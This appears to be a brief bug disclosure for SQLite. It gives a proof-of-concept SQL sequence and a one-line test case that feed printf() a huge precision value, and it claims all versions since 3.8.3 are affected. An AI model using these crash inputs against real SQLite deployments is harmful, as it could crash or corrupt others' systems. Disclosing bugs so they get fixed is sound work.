SQLite

Affected latest release version. 

POC:
---
CREATE TABLE a(b DOUBLE CHECK( NOT CASE WHEN printf(b, b) THEN 0 END) UNIQUE ON CONFLICT REPLACE);
CREATE TRIGGER c INSERT ON a BEGIN INSERT INTO a SELECT group_concat(b, 2147483647) FROM a;END;
INSERT INTO a(b, b, b) VALUES(NULL, 9, 3);
UPDATE a SET b = 0;
INSERT INTO a VALUES('GERMANY''s%'), ('Y'), ('Brand#23')
---

Simplified test case:

SELECT printf('%.*g',2147483647,0.01);

Affects all versions of SQLite since printf() was introduced in version 3.8.3 (2014-02-03).